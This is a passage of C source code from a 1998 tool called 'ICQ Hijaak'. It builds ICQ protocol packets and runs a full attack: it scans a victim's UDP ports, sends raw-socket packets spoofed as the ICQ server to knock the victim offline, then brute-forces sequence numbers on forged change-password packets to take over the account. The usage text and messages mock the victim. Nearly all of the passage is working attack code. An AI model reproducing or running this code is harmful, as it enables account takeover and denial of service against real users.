  720.                         *(ptr++) = (string_length ) & 0xFF;
  721.                         *(ptr++) = (string_length >> 8)  & 0xFF;
  722.                         memcpy( ptr, string_param, string_length );
  723.                         ptr += string_length;
  724.                         break;
  725.                 case 'D':  /* pure data with length byte */
  726.                         data_length = va_arg(ap, int * );
  727.                         string_param = va_arg(ap, u8 * );
  728.                         memcpy( ptr, string_param , *data_length );
  729.                         ptr += *data_length;
  730.                         break;
  731.  
  732.                 default:
  733.                         fprintf(stderr,"Invalid type %c \n", *(format-1) );
  734.                         return FAILURE;
  735.                 }
  736.  
  737.         }
  738.         /* return the size taken up */
  739.         *size = (ptr - data_ptr );
  740.         return SUCCESS;
  741. }
  742. u32     icq_uin = -1;
  743. u16     icq_seq = 0;
  744. u16     icq_seq2 = 0;
  745. #define ICQ4_VER        0
  746. #define ICQ4_RANDOM     2
  747. #define ICQ4_ZERO       4
  748. #define ICQ4_COMMAND    6
  749. #define ICQ4_SEQ        8
  750. #define ICQ4_SEQ2       10
  751. #define ICQ4_UID        12
  752. #define ICQ4_CHECK      16
  753. #define ICQ4_END        20
  754. void create_icq4_hdr(
  755.                 u8      * data_ptr,
  756.                 u16     any_number,
  757.                 u16     command,
  758.                 int     data_size
  759.                  )
  760. {
  761. u32     check;
  762. u32     check2;
  763. u32     keyvalue;
  764. int     count;
  765. int     length;
  766. int     i;
  767. u8      ofs;
  768. u8      val;
  769.  
  770. length = data_size + ICQ4_END;
  771.  
  772. memset( data_ptr, 0, ICQ4_END );
  773.  
  774. word(*data_ptr, ICQ4_VER ) = 0x4; word(*data_ptr, ICQ4_RANDOM) = any_number;
  775. word(*data_ptr, ICQ4_COMMAND ) = command; word(*data_ptr, ICQ4_SEQ ) = icq_seq;
  776. word(*data_ptr, ICQ4_SEQ2 ) = icq_seq2; dword(*data_ptr,ICQ4_UID ) = icq_uin;
  777. dword(*data_ptr,ICQ4_CHECK) = 0x0;
  778.  
  779. check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
  780.         ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
  781. ofs = random() % length; val = *(data_ptr + ofs );
  782. check2 = ( ofs << 24 ) | ( val << 16 );
  783. ofs = random() % 256; val = icq_check_data[ ofs ];
  784. check2 |= ( ofs << 8 ) | ( val ); check2 ^= 0x00FF00FF; check ^= check2;
  785. dword(*data_ptr,ICQ4_CHECK ) = check;
  786. keyvalue = length * 0x66756B65; keyvalue += check;
  787. count = ( length + 3 ) / 4; count += 3; count /= 4;
  788. for ( i = 0; i < count ; i++ ) {
  789.         u32 * r;
  790.         if ( i == 4 ) continue; r = (u32 *)(data_ptr + (i*4) );
  791.  *r ^= (keyvalue + icq_check_data[i*4] ); }
  792. word(*data_ptr, ICQ4_VER ) = 0x4; /* NECESSARY! */
  793. }
  794.  
  795. void    create_icq3_header(     u8 * data_ptr, int * size, u16  command,
  796.  u16  seq1, u16  seq2, u32  UIN )
  797. {
  798.         int     len, len2, err, ofs, val;
  799.         u32     check, check2;
  800.  
  801.         err = WritePacket( data_ptr,&len, "WWWWL",
  802.                 0x03, command, seq1, seq2, UIN );
  803.         if ( err == FAILURE ) {
  804.                 printf("Programmer Error in create_icq3_header\n"); exit(-1); }
  805.         check = ( *(data_ptr + 8) << 24) | ( *(data_ptr + 4) << 16 ) |
  806.                 ( *(data_ptr + 2) << 8 ) | ( *(data_ptr + 6) );
  807.         ofs = random() % len; val = *(data_ptr + ofs );
  808.         check2 = ( ofs << 24 ) | ( val << 16 );
  809.         ofs = random() % 256;
  810.         val = icq_check_data[ ofs ];
  811.         check2 |= ( ofs << 8 ) | ( val );
  812.         check2 ^= 0x00FF00FF; check ^= check2;
  813.         err = WritePacket( (data_ptr + len),&len2,"L", check );
  814.  *size = len + len2; }
  815. static  u8      packet[ 1500 ];
  816. void main( int argc, char ** argv );
  817. void main(  int argc, char ** argv )
  818. {
  819.         int     count;
  820.         int     i;
  821.         u16     j, k;
  822.         struct in_addr * addr_list;
  823.         struct in_addr * target_list;
  824.         int     err;
  825.         struct in_addr  you;
  826.         struct in_addr  me;
  827.         int             rawsock;
  828.         struct sockaddr raddr;
  829.         struct sockaddr_in * r_in = (struct sockaddr_in *)&raddr;
  830.         int     size;
  831.         u8      * data_ptr;
  832.         u8      * hdr_ptr;
  833.         int     hdr_size;
  834.         u16     your_port;
  835.         int     retries;
  836.         int     base_port;
  837.         if ( argc < 5 ) {
  838.                 fprintf(stderr,
  839. "--=--==[ ICQ Hijaak ]=====------------------------==--------------\n"
  840. "Author:  wumpus@innocent.com    *    Copyright (c) 1998  Wolvesbane\n"
  841. "Usage: \n"
  842. "       hijaak [options] icq-server target-uin target-ip new-password \n"
  843. "\n"
  844. "icq-server:    Packets will be *spoofed* from the (possibly plural) \n"
  845. "               IP addresses of this parameter. \n"
  846. "\n"
  847. "target-uin:    D'Oh!  \n\n"
  848. "target-ip:     Finding this is up to you.  May the farce be with you\n"
  849. "\nnew-password: D'Oh! Take a guess \n"
  850. "\nNo options are available at this time.\n" );
  851.                 exit(-1);
  852.         }
  853.         base_port = 0;
  854.         if ( argc > 5 ) { base_port = atoi( argv[5] ); }
  855.         if (!base_port)  base_port = 1024;
  856.         icq_uin = atol( argv[2] );
  857.         if ( !icq_uin ) {
  858.                 fprintf(stderr, "Who do you want me to kill, boss? \n");
  859.                 exit(-1); }
  860.         err = MultiResolve(argv[3],&count,&target_list);
  861.         if ( err == -1 ) { herror("Resolving target\n"); exit(-1); }
  862.         if ( count > 1 ) { fprintf(stderr,
  863. "Hey! Moron!  You need to specify an UNAMBIGUOUS victim IP. \n" );
  864.                 exit(-1); }
  865.         you = target_list[0];
  866.         free( target_list );
  867.         err = MultiResolve(argv[1],&count,&addr_list);
  868.         if ( err == -1 ){ herror("Resolving ICQ server"); exit(-1); }
  869.         r_in->sin_port = htons( 1984 ); /* DON'T CARE */
  870.         r_in->sin_family = AF_INET; r_in->sin_addr = you;
  871.  
  872.         hdr_ptr = packet + IP_END + UDP_END;
  873.  
  874.         rawsock = CreateRawSocket();
  875.  
  876.         printf("** Scanning for luser's ICQ port ...\n");
  877.  
  878.         your_port = base_port;
  879.         while ( 1 ) { err = UDPScan(you, your_port, 65535, &your_port );
  880.                 if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
  881. "D'Oh!  Can't find a target port.  Better check that target IP again!\n");
  882.                         exit(-1); }
  883.                 if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
  884.                         fprintf(stderr,
  885. "UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
  886.                         continue; }
  887.                 break;
  888.         }
  889.         printf("*** Got luser's port at %d \n", your_port );
  890.         create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0,
  891.                 0, icq_uin  ); retries = 3;
  892.         while ( retries-- ) {
  893.                 printf("Trying to knock luser offline.  Attempt %d\n",
  894.                         3 - retries );
  895.                 for ( i = 0; i < count ; i++ ) {
  896.                         int     psize;
  897.  
  898.                         psize = IP_END + UDP_END + hdr_size;
  899.                         make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
  900.                                 addr_list[i], you, 0x7F );
  901.                         make_udp_hdr( packet, psize - IP_END, 4000,your_port );
  902.                         err = sendto( rawsock, packet, psize, 0,
  903.                                 &raddr, sizeof(raddr));
  904.                         if ( err != psize ) { perror("Sending"); exit(-1); }
  905.                 }
  906.                 if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
  907.                 sleep( 3 );     /* Give 'em some time */
  908.                 if ( FAILURE == VerifyUDPPort( you, your_port ) ) { break; }
  909.                 sleep(3);
  910.         }
  911.         printf("Retries is %d \n", retries );
  912.         if ( 0 > retries ) { fprintf(stderr,
  913. "Uh Oh!  Something ain't working.  Can't toast the luser.  Sorry, dude.\n");
  914.                 exit(-1); }
  915.         /* more time? how long does it take to reconnect? */
  916.         sleep(16);
  917.         printf("** Scanning for luser's _new_ ICQ port ...\n");
  918.         while ( 1 ) {
  919.                 err = UDPScan(you, your_port, 65535, &your_port );
  920.                 if (  ( err == -1 ) || ( !your_port ) ) { fprintf(stderr,
  921. "D'Oh! Can't find the new port!  Maybe your target is smarter than you?\n");
  922.                         exit(-1); }
  923.                 if ( FAILURE == VerifyUDPPort( you, your_port ) ) {
  924.                         fprintf(stderr,
  925. "New UDP scan found invalid port. Retrying...  Hit CTRL-C to exit\n");
  926.                         continue; } break; }
  927.         printf("*** Got luser's new connection at %d \n", your_port );
  928.         printf("*** Hijaaking account now...(*LONG* version)\n");
  929.         for ( k = 0; k < 14 ; k++ ) {
  930.                 for ( j = 0; j < 14 ; j++ ) {
  931.                         int     psize;
  932.                         icq_seq = k; icq_seq2 = j;
  933.                         data_ptr = hdr_ptr + ICQ4_END;
  934.                         WritePacket( data_ptr, &size, "S",argv[4] );
  935.                         create_icq4_hdr(hdr_ptr, random()&0xFFFF,
  936.                                 COMMAND_CHANGEPASSWORD, size );
  937.                         hdr_size = ICQ4_END;
  938.  
  939.                         for ( i = 0; i < count ; i++ ) {
  940.                                 psize = IP_END + UDP_END + hdr_size + size;
  941.                                 make_ip_hdr( packet, psize, IPPROTO_UDP,
  942.                                         0x666, 0, you, addr_list[i], 0x7F );
  943.                                 make_udp_hdr( packet, psize - IP_END,
  944.                                         your_port, 4000);
  945.                                 err = sendto( rawsock, packet, psize, 0,
  946.                                         &raddr, sizeof(raddr));
  947.                                 if ( err != psize ) { perror("Sending");
  948.                                         exit(-1); } usleep( 1000 );
  949.                                 err = sendto( rawsock, packet, psize, 0,
  950.                                         &raddr, sizeof(raddr));
  951.                                 if ( err != psize ) {
  952.                                         perror("Sending");
  953.                                 exit(-1);
  954.                                 } } } }
  955.         printf("Disconnecting the remote luser... \n");
  956.         create_icq3_header(hdr_ptr, &hdr_size, RESPONSE_ERROR, 0, 0, icq_uin  );
  957.         for ( i = 0; i < count ; i++ ) {
  958.                 int     psize;
  959.                 psize = IP_END + UDP_END + hdr_size;
  960.                 make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
  961.                         addr_list[i], you, 0x7F );
  962.                 make_udp_hdr( packet, psize - IP_END, 4000,your_port );
  963.                 err = sendto( rawsock, packet, psize, 0,
  964.                         &raddr, sizeof(raddr));
  965.                 if ( err != psize ) { perror("Sending"); exit(-1); } }
  966.         free( addr_list );
  967. }
  968.  
  969.